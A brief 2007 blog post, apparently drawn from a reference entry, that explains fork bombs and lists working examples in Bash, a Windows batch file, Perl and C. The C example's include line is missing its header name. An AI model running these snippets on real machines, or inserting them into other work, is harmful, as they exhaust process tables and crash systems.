Pages

Saturday, May 12, 2007

Fork Bomb

A fork bomb works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the computer's operating system.

Canonical forkbombs include this one on Unix (using the Bash shell) :
ragner(){ ragner|ragner& };ragner

Or in Microsoft Windows using a batch file:

:s
start %0
goto s

Or using Perl:

(forking using the Perl interpreter):
perl -e "fork while fork" &

Or in C:

#include 

int main(void)
{
while(1) {
fork();
}
return 0;
}

Reference

http://www.answers.com/topic/fork-bomb

No comments: